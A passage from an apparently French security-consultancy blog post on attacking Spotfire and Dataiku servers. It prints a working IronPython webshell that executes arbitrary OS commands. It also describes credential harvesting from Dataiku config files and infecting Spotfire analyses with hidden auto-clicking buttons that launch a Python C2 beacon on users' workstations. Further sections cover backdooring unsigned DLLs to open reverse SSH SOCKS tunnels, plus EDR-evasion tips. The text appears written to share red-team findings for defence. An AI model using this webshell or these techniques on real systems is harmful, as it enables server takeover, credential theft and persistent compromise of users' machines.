<p>Ce <span style="color: #250f6b;"><em>textarea</em> </span>va contenir l’ensemble du contrôle d’entrée du webshell. Créons une nouvelle <span style="color: #250f6b;"><em>textarea</em> </span>pour le résultat:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23670" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg" alt="" width="953" height="597" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg 953w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-305x191.jpg 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-768x481.jpg 768w" sizes="auto, (max-width: 953px) 100vw, 953px" /></p>
<p style="text-align: center;"><em>Figure 5: seconde textarea de Spotfire</em></p>
<p>Désormais, nous pouvons cliquer sur “<span style="color: #250f6b;"><em>Edit Text Area</em></span>” en haut de la première zone de texte. Cela va permettre la customisation du contenu de la zone de texte.</p>
<p>Ajoutons d’abord un contrôle d’entrée qui servira à taper la commande à envoyer au serveur :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23672" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg" alt="" width="1140" height="666" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg 1140w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-327x191.jpg 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-768x449.jpg 768w" sizes="auto, (max-width: 1140px) 100vw, 1140px" /></p>
<p style="text-align: center;"><em>Figure 6: modification de la zone de texte</em></p>
<p>Nous allons lier la valeur du contrôle à une propriété du document pour pouvoir l’utiliser avec notre futur script python. Nous pouvons créer une nouvelle propriété appelée <span style="color: #250f6b;"><em>Input</em> </span>avec le type de données <span style="color: #250f6b;"><em>String</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23674" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg" alt="" width="629" height="792" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg 629w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-152x191.jpg 152w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-31x39.jpg 31w" sizes="auto, (max-width: 629px) 100vw, 629px" /></p>
<p style="text-align: center;"><em>Figure 7: Lier le contrôle au champ de saisie</em></p>
<p>Ensuite, créons un contrôle d’action en cliquant sur le bouton “<em><span style="color: #250f6b;">Insert Action Control</span></em>” en haut de la fenêtre <span style="color: #250f6b;"><em>Edit Text Area</em></span>. Cliquons sur <span style="color: #250f6b;"><em>Script</em> </span>et choisissons le bouton de type contrôle. Ensuite, nous pouvons créer un nouveau script <span style="color: #250f6b;"><em>IronPython</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23676" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg" alt="" width="826" height="770" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-205x191.jpg 205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-42x39.jpg 42w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-768x716.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></p>
<p style="text-align: center;"><em>Figure 8: ajout du bouton</em></p>
<p>Remplissez le contenu du script avec le code suivant :</p>
<pre><code>from Spotfire.Dxp.Application.Visuals import *</code><br /><code>from System.IO import *</code><br /><code>from System.Drawing import *</code><br /><code>from System.Drawing.Imaging import *</code><br /><code>from System.Text.RegularExpressions import *</code><br /><code>import subprocess</code><br /><code>vis=visual.As[HtmlTextArea]()</code><br /><code>if 'clean!' in com:</code><br /><code>    vis.HtmlContent = ''</code><br /><code>else:</code><br /><code>    try:</code><br /><code>        vis.HtmlContent = "Executing {}".format(com)</code><br /><code>        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)</code><br /><code>        output, _ = process.communicate()</code><br /><code>        vis.HtmlContent='&lt;br&gt;'.join(output.split('\n'))</code><br /><code>    except Exception as e:</code><br /><code>        vis.HtmlContent="{}".format(e)</code></pre>
<p>Ce code charge un ensemble de bibliothèques <span style="color: #250f6b;"><em>Spotfire</em> </span>utilisées pour communiquer avec l’interface utilisateur. La variable “<span style="color: #250f6b;"><em>visual</em></span>” représente la zone de texte utilisée pour afficher le résultat. La variable “<span style="color: #250f6b;"><em>com</em></span>” contient la valeur du lien de propriété avec notre champ de saisie créé.</p>
<p>Le script exécute la commande stockée dans le “<span style="color: #250f6b;"><em>com</em></span>” et écrit le résultat sur l’élément <span style="color: #250f6b;"><em>UI</em> </span>pointé par la variable “<span style="color: #250f6b;"><em>visual</em></span>”.</p>
<p>Maintenant, nous devons lier les variables “<span style="color: #250f6b;"><em>visual</em></span>” et “<span style="color: #250f6b;"><em>com</em></span>” aux différents éléments du projet. Dans le tableau “<span style="color: #250f6b;"><em>Script parameters</em></span>” , ajoutez un nouveau paramètre :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23678" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg" alt="" width="532" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-189x191.jpg 189w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-38x39.jpg 38w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: center;"><em>Figure 9: Lier le paramètre visual</em></p>
<p>Faisons la même chose pour le paramètre <span style="color: #250f6b;"><em>com</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23680" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg" alt="" width="623" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg 623w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-187x191.jpg 187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-38x39.jpg 38w" sizes="auto, (max-width: 623px) 100vw, 623px" /></p>
<p style="text-align: center;"><em>Figure 10: Lier le parameter com</em></p>
<p>Désormais, lorsque le script sera exécuté, il liera automatiquement le paramètre <span style="color: #250f6b;"><em>visual</em> </span>au panneau <span style="color: #250f6b;"><em>textarea</em> </span>utilisé pour afficher le résultat et le paramètre <span style="color: #250f6b;"><em>com</em> </span>au contenu de la propriété <span style="color: #250f6b;"><em>Input</em> </span>créée lors de la définition du champ de saisie.</p>
<p>Sauvegardons le tout. Félicitations, nous avons un <span style="color: #250f6b;"><em>webshell</em> </span>fonctionnel:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23682" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg" alt="" width="809" height="261" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg 809w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-437x141.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-71x23.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-768x248.jpg 768w" sizes="auto, (max-width: 809px) 100vw, 809px" /></p>
<p style="text-align: center;"><em>Figure 11: Webshell final</em></p>
<p>S’il est exécuté directement depuis le client lourd, le code ne sera exécuté qu’en local, ce n’est donc pas vraiment intéressant. Cependant, si le code est exécuté directement depuis le<span style="color: #250f6b;"><em> Spotfire Webplayer</em></span>, il sera exécuté sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>, entraînant une exécution de code à distance sur le serveur.</p>
<h3><span style="color: #451dc7;">3.2.2. Dataiku</span></h3>
<p>L’exécution de code à distance sur <span style="color: #250f6b;"><em>Dataiku</em> </span>est plus simple. En effet, <span style="color: #250f6b;"><em>Dataiku</em> </span>embarque directement des fonctionnalités de type notebook <span style="color: #250f6b;"><em>Jupyter</em></span>.</p>
<p>En créant un nouveau projet <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible d’exécuter directement la commande sur le serveur comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png" alt="" width="526" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png 526w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-71x31.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></p>
<p style="text-align: center;"><em>Figure 12: Execution de code avec Dataiku</em></p>
<h3><span style="color: #451dc7;">3.2.3. Considération OPSEC</span></h3>
<p>On peut dire que la génération d’un processus <span style="color: #250f6b;"><em>Python</em> </span>en tant que processus enfant pour <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em> </span>entraînera une détection directe par <span style="color: #250f6b;"><em>l’EDR</em></span>. Cependant, nous devons garder à l’esprit que la création d’un processus <span style="color: #250f6b;"><em>Python</em> </span>est un comportement légitime pour le processus <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<p>Cependant, si vous commencez à générer <em><span style="color: #250f6b;">cmd.exe</span> </em>directement à partir du script <span style="color: #250f6b;"><em>Python</em></span>, oui, cela pourrait conduire à une détection directe. Mais <span style="color: #250f6b;"><em>python </em></span>est connu pour être suspect par défaut et <span style="color: #250f6b;"><em>l’EDR</em> </span>est un peu plus détendu sur les actions effectuées par un processus <span style="color: #250f6b;"><em>python</em> </span>en raison de plusieurs faux positifs.</p>
<p>Donc, en un mot, la génération du processus <span style="color: #250f6b;"><em>python</em> </span>ne devrait conduire à aucune détection spécifique, mais vous devez faire attention au script que vous exécuterez à partir de celui-ci.</p>
<h1><span style="color: #451dc7;">4. Récolte des identifiants</span></h1>
<p>Avoir une <span style="color: #250f6b;"><em>RCE</em> </span>sur un serveur, c’est toujours intéressant, mais il vaut mieux savoir ce qu’on peut en faire. Tout d’abord, si vous avez obtenu la <span style="color: #250f6b;"><em>RCE</em> </span>sur un ordinateur joint au domaine, vous disposez d’un accès authentifié au domaine, et lorsque vous venez directement depuis Internet, c’est la cerise sur le gâteau.</p>
<p>La spécificité des applications de <span style="color: #250f6b;"><em>datascience</em> </span>est qu’elles sont connectées au datalake. Ces connexions peuvent être des connexions <span style="color: #250f6b;"><em>SQL</em> </span>standard, mais elles peuvent également être des connexions à des <span style="color: #250f6b;"><em>datalake</em> </span>cloud tels qu’<span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Ayant une <em><span style="color: #250f6b;">RCE</span> </em>sur le serveur, vous pouvez généralement accéder à toutes les informations d’identification stockées dans l’application.</p>
<h2><span style="color: #451dc7;">4.1. Exemple avec Dataiku</span></h2>
<p>Sur <span style="color: #250f6b;"><em>Dataiku</em></span>, les secrets sont stockés dans le dossier <span style="color: #250f6b;"><em>DATA_DIR/config</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23686" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png" alt="" width="607" height="203" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-437x146.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-71x24.png 71w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: center;"><em>Figure 13: Fichiers de configuration de dataiku</em></p>
<p><span style="color: #250f6b;"><em>Users.json</em> </span>contient la base de données utilisateur de <em><span style="color: #250f6b;">dataiku</span></em>. Vous pouvez l’utiliser pour créer un nouvel utilisateur administrateur et conserver la persistance sur l’environnement.</p>
<p>Le fichier <span style="color: #250f6b;"><em>connections.json</em> </span>contient tous les identifiants pour accéder aux <span style="color: #250f6b;"><em>datalakes</em></span>. Cependant, les mots de passe sont stockés chiffrés :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23688" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png" alt="" width="488" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png 488w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-71x30.png 71w" sizes="auto, (max-width: 488px) 100vw, 488px" /></p>
<p style="text-align: center;"><em>Figure 14: Mots de passe chiffrés</em></p>
<p>Heureusement, <span style="color: #250f6b;"><em>Dataiku</em> </span>fournit un outil pour décrypter ces informations d’identification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23690" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png" alt="" width="575" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png 575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-437x58.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-71x9.png 71w" sizes="auto, (max-width: 575px) 100vw, 575px" /></p>
<p style="text-align: center;"><em>Figure 15: Déchiffrement du mot de passe Dataiku</em></p>
<p>Vous pouvez désormais utiliser ces informations d’identification pour accéder à la base de données distante ou directement sur le cloud si elles utilisent <span style="color: #250f6b;"><em>AWS Datalake</em> </span>ou des bases de données stockées sur <span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Enfin, le compte <span style="color: #250f6b;"><em>Dataiku</em> </span>utilisé pour exécuter l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>dispose de tous les privilèges sur les données de l’instance <span style="color: #250f6b;"><em>Dataiku</em></span>. Vous pouvez alors simplement récupérer toutes les données du projet.</p>
<p> </p>
<h1><span style="color: #451dc7;">5. Propagation parmi les utilisateurs</span></h1>
<p>Cette partie s’applique uniquement à <span style="color: #250f6b;"><em>Spotfire</em> </span>car <span style="color: #250f6b;"><em>Dataiku</em> </span>ne fournit pas de client lourd et cette exploitation repose sur le fait que l’utilisateur exécutera du code sur son poste de travail et non sur le serveur distant.</p>
<h2><span style="color: #451dc7;">5.1. Infecter d’autres utilisateurs</span></h2>
<p>Les scripts intégrés dans l’analyse doivent être de confiance pour pouvoir être exécutés par d’autres utilisateurs. Ce processus de confiance est effectué via des utilisateurs <span style="color: #250f6b;"><em>Spotfire</em> </span>dotés de droits spécifiques. Avec l’exécution de code à distance sur l’instance <span style="color: #250f6b;"><em>Spotfire</em></span>, il est possible de créer directement un nouvel utilisateur administrateur. Cependant, en raison de la gestion non sécurisée des utilisateurs par les équipes métiers, tous les utilisateurs disposent généralement des privilèges nécessaires pour faire confiance aux scripts.</p>
<p>Afin de compromettre les utilisateurs, l’application <span style="color: #250f6b;"><em>Spotfire</em> </span>peut être <span style="color: #451dc7;"><strong>utilisée comme une infrastructure de command and control</strong>.</span></p>
<p>Lorsque l’utilisateur ouvre un fichier d’analyse depuis son client lourd, le fichier est téléchargé localement, et tous les scripts contenus sur le projet sont exécutés localement sur le poste de l’utilisateur.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23736" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png" alt="" width="3573" height="2735" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-250x191.png 250w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-768x588.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-1536x1176.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-2048x1568.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 16: Vision macro de l’infrastructure C2 du Spotfire</em></p>
<p>Cette feuille d’analyse a <span style="color: #451dc7;"><strong>été infectée via un script JS</strong></span>. Une fois ouvert par l’utilisateur, le code <span style="color: #250f6b;"><em>JavaScript</em> </span>sera exécuté conduisant à l’exécution d’un script python final contenant la balise <span style="color: #250f6b;"><em>C2</em></span>.</p>
<p>Cela peut être fait en ajoutant dans n’importe quelle page du projet un nouveau bouton qui déclenchera le <span style="color: #250f6b;"><em>runtime python C2</em></span>. Le bouton peut être configuré pour avoir une taille de 1 px, ce qui le rend invisible. Ensuite, un script <span style="color: #250f6b;"><em>JS</em> </span>peut être ajouté pour cliquer automatiquement sur le bouton de manière régulière (toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes par exemple).</p>
<p>Tant que le fichier d’analyse est ouvert, le code JavaScript appellera le script python <span style="color: #250f6b;"><em>C2</em> </span>toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes, permettant l’exécution d’un <strong><span style="color: #451dc7;">script python arbitraire et d’une commande du système d’exploitation sur l’ordinateur de l’utilisateur</span>.</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23738" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 17: Vision bas niveau du fichier d’analyse infecté</em></p>
<p>La seule limitation est que le <span style="color: #250f6b;"><em>JS</em> </span>ne sera déclenché que si l’utilisateur ouvre la page infectée spécifique. Cela peut être contourné en <span style="color: #451dc7;"><strong>redirigeant l’utilisateur vers la page d’analyse malveillante</strong> </span>lorsqu’il l’ouvre.</p>
<p>Lorsque l’utilisateur ouvre l’analyse infectée, celle-ci <span style="color: #451dc7;"><strong>déclenche automatiquement une fonction de données (qui est différente d’un script)</strong>.</span></p>
<p>Les <span style="color: #250f6b;"><em>datafunction</em> </span>sont des fonctions exécutées à l’ouverture du projet. Cependant, leur sous-ensemble de fonctionnalités est limité. Ils ne peuvent pas exécuter régulièrement un script <span style="color: #250f6b;"><em>Python</em> </span>important.</p>
<p>Cette fonction de données est configurée pour <span style="color: #451dc7;"><strong>mettre à jour une propriété de document aléatoire</strong></span>. <span style="color: #250f6b;"><em>Spotfire</em> </span>permet de configurer des hooks de script sur les propriétés modifiées. Ainsi, lorsque la propriété est modifiée par la fonction <span style="color: #250f6b;"><em>data</em></span>, <span style="color: #451dc7;"><strong>cela déclenchera un script IronPython qui affichera une feuille d’analyse spécifique à l’utilisateur</strong>.</span></p>
<p> </p>
<p>Une fois la feuille d’analyse infectée focalisée, elle démarrera la balise python <span style="color: #250f6b;"><em>C2</em> </span>de manière régulière via le script <em><span style="color: #250f6b;">JS</span> </em>comme expliqué précédemment :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23740" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 18: process de lancement automatique du C2</em></p>
<p>Lorsque ce <span style="color: #250f6b;"><em>C2</em> </span>sera déployé, il <span style="color: #451dc7;"><strong>restera actif tant que l’analyse infectée restera ouverte sur le poste de l’utilisateur</strong></span>.</p>
<p>La figure suivante montre la compromission d’un poste utilisateur et l’exécution d’un script <span style="color: #250f6b;"><em>python</em> </span>distant récupéré par la balise <span style="color: #250f6b;"><em>python</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png" alt="" width="964" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png 964w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-429x191.png 429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-768x342.png 768w" sizes="auto, (max-width: 964px) 100vw, 964px" /></p>
<p style="text-align: center;"><em>Figure 19: execution de commande sur le poste utilisateur</em></p>
<p>Afin de compromettre un maximum d’utilisateurs, il est possible d’infecter plusieurs projets et d’attendre que les utilisateurs cliquent dessus.</p>
<p>Habituellement, les entreprises stockent des modèles de projet spécifiques quelque part sur le serveur Spotfire. Si vous les trouvez, vous infecterez automatiquement tous les projets basés sur ce modèle.</p>
<h2><span style="color: #451dc7;">5.2. Etendre le temps de compromission</span></h2>
<p>Ce processus <span style="color: #250f6b;"><em>C2</em> </span>est intéressant mais <span style="color: #451dc7;"><strong>se termine lorsque l’utilisateur ferme l’analyse infectée</strong></span>. Afin d’avoir un accès plus persistant à l’ordinateur de l’utilisateur, le processus <span style="color: #250f6b;"><em>C2</em> </span>est <span style="color: #451dc7;"><strong>migré de Spotfire vers une autre instance Python</strong> </span>sur l’ordinateur de l’utilisateur.</p>
<p>En effet, lorsque <span style="color: #250f6b;"><em>Spotfire</em> </span>est installé, il installe également un interpréteur <span style="color: #250f6b;"><em>python</em> </span>brut. Grâce au <span style="color: #250f6b;"><em>C2</em> </span>initial, il est possible, via l’exécution de commandes du système d’exploitation, d’écrire une autre balise <span style="color: #250f6b;"><em>C2</em> </span>sur le système de fichiers utilisateur et de <span style="color: #451dc7;"><strong>déclencher son exécution par l’interpréteur python brut</strong></span>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23742" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png" alt="" width="3927" height="2096" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png 3927w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-358x191.png 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-768x410.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-1536x820.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-2048x1093.png 2048w" sizes="auto, (max-width: 3927px) 100vw, 3927px" /></p>
<p style="text-align: center;"><em>Figure 20: C2 sans les restrictions Spotfire</em></p>
<p>Cette fois, même si l’analyse infectée est fermée, <span style="color: #451dc7;"><strong>le processus python ne sera pas terminé</strong></span> car il n’est plus lié à <span style="color: #250f6b;"><em>Spotfire</em></span><strong>, <span style="color: #451dc7;">accordant à l’attaquant un accès persistant à l’ordinateur de l’utilisateur</span></strong> tant qu’aucun redémarrage n’est effectué.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.3. Persistance d’accès</span></h2>
<h3><span style="color: #451dc7;">5.3.1. DLL Hijacking</span></h3>
<p>Grâce à la balise <span style="color: #250f6b;"><em>C2</em></span>, il est possible de générer des <span style="color: #250f6b;"><em>reverse socks SSH</em></span>. Les reverse socks SSH suffisent pour accéder au réseau interne, cependant, elles seront <span style="color: #451dc7;"><strong>terminées lorsque l’ordinateur de l’utilisateur sera arrêté</strong></span> et ne seront remontées que lorsque l’utilisateur rouvrira une analyse infectée et déclenchera à nouveau l’exécution de la balise C2.</p>
<p>Afin <span style="color: #451dc7;"><strong>d’obtenir de la persistance et de garantir que les socks seront remontées</strong></span> même si l’ordinateur de l’utilisateur est redémarré, certaines <span style="color: #451dc7;"><strong>modifications des fichiers d’application peuvent être effectuées</strong></span> sur le poste de travail de l’utilisateur.</p>
<p>Les utilisateurs compromis via la balise <span style="color: #250f6b;"><em>Spotfire</em> </span>sont des analystes de données et Spotfire est leur principal outil et plus probablement <span style="color: #451dc7;"><strong>la première application qu’ils exécutent lorsqu’ils allument leur ordinateur</strong>.</span></p>
<p>Le client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>est développé en <em><span style="color: #250f6b;">C#</span></em>. Ses <span style="color: #250f6b;"><em>DLL</em> </span>peuvent être facilement inversées et elles sont stockées dans le dossier utilisateur <span style="color: #250f6b;"><em>APPDATA</em></span>. Ainsi, avec un simple accès à la session utilisateur, il est possible de modifier ces <span style="color: #250f6b;"><em>DLL</em> </span>sans avoir besoin d’une élévation de privilèges spécifique. A l’aide de <span style="color: #250f6b;"><em>SysInternals Procmon.exe</em></span>, on retrouve la liste des <span style="color: #250f6b;"><em>DLL</em> </span>chargées par <span style="color: #250f6b;"><em>Spotfire</em></span>. Ensuite, l’une de ces <span style="color: #250f6b;"><em>DLL</em> </span>fait l’objet d’une ingénierie inverse et est infectée, comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png" alt="" width="576" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png 576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-71x36.png 71w" sizes="auto, (max-width: 576px) 100vw, 576px" /></p>
<p style="text-align: center;"><em>Figure 21: DNSpy montrant la DLL modifiée</em></p>
<p>Le code malveillant injecté <span style="color: #451dc7;"><strong>créera un nouveau processus SSH montant une nouvelle reverse sock SSH</strong></span> au démarrage de <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>La <span style="color: #250f6b;"><em>DLL</em> </span>est recompilée et téléchargée sur chaque poste de travail utilisateur compromis et la balise <span style="color: #250f6b;"><em>C2</em> </span>est modifiée pour exécuter cette action lorsqu’elle détecte un nouveau rappel utilisateur.</p>
<h3><span style="color: #451dc7;">5.3.2. Considération OPSEC</span></h3>
<p>Bien qu’elle ressemble à du <span style="color: #250f6b;"><em>DLL hijacking</em></span>, cette technique est difficilement détectable par un <span style="color: #250f6b;"><em>EDR</em> </span>car la <span style="color: #250f6b;"><em>DLL</em> </span>d’origine n’a pas été échangée par un logiciel malveillant comme dans le <span style="color: #250f6b;"><em>DLL hijacking</em> </span>ou le <span style="color: #250f6b;"><em>DLL proxying</em></span>. La <span style="color: #250f6b;"><em>DLL</em> </span>exécutée par <span style="color: #250f6b;"><em>Spotfire</em> </span>est celle d’origine recompilée avec un code supplémentaire engendrant un nouveau processus.</p>
<p>Comme la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>d’origine n’est pas signée, <span style="color: #250f6b;"><em>l’EDR</em> </span>ne peut pas détecter la modification.</p>
<h3><span style="color: #451dc7;">5.3.3. Résilience</span></h3>
<p>Pour éviter d’être bloqué via une règle de pare-feu si l’adresse <span style="color: #250f6b;"><em>IP</em> </span>des <span style="color: #250f6b;"><em>socks</em> </span>est sur liste noire, le code malveillant implanté dans la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>ne contient pas d’adresse <span style="color: #250f6b;"><em>IP</em> </span>distante, de port et de clé <span style="color: #250f6b;"><em>SSH</em> </span>codés en dur, à chaque fois qu’il récupère ces informations à partir d’un serveur distant différent.</p>
<p>Ainsi, même si le <span style="color: #250f6b;"><em>SOC</em> </span>met sur liste noire l’adresse <span style="color: #250f6b;"><em>IP SOCKS</em></span>, il est possible de modifier à distance l’adresse <span style="color: #250f6b;"><em>IP</em> </span>de destination <span style="color: #250f6b;"><em>SOCKS</em> </span>sans avoir besoin d’un accès direct aux ordinateurs des utilisateurs compromis.</p>
<h1><span style="color: #451dc7;">6. Se cacher à la vue de tous</span></h1>
